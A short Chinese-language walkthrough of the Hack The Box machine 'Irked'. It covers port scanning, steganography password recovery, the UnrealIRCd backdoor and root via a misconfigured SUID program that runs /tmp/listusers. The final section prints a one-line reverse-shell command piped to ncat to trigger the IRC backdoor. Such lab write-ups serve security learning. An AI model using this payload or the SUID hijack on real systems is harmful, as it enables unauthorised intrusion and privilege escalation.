Hack The Box - Irked Writeup

• nmap 扫描全端口，其中有价值的为22，80，8080，65534。
• 通过8080端口，可以找到djmardov/下有一个.backup文件，内容为
• 下载80端口网页上的图片，用steghide获取隐写的文字，密码即是上图里的那一串。隐写的文字即为用户djmardov的密码。
• 另一种方法是用metasploit中的unreal_irc_backdoor模块，攻击65534端口，可得到一个权限较低的shell，也可进入/home/djmardov/找到backup文件。用djmardov登陆后，user.txt got。
• 找到所有suid被设为1的程序，其中这个viewuser看起来很可疑。
• 运行viewuser，输出如下。显然，它用sh去运行一个/tmp/listusers的文件，我们没办法修改这个viewuser，但是可以创建为我们所用的listusers。
• 我的listusers内容为：cd /root ;   ls ; cat root.txt。运行viewuser，结果如下：
• 当然你也可以直接把listusers改成/bin/bash，去获取一个root shell。
• 两点收获：对于CTF-like的Box，最好扫描全端口；利用suid被误设的程序是提权的有效手段之一，需要一些耐心去尝试。

- - - - - - - -✂ - - - - - - - - - - - - - - - - - - - - - - - - - - - -✂ - - - - - - - - - - - - - - - - - - - - - - - - - - - -✂ - - - - - - - - - - - - - - - - - - - -

手动获取Unreal IRC的backdoor shell：

echo "AB; bash -c 'bash -i >& /dev/tcp/[ip]/[port] 0>&1' " | ncat 10.10.10.117 8067

更多方法参考https://www.hackingtutorials.org/metasploit-tutorials/hacking-unreal-ircd-3-2-8-1/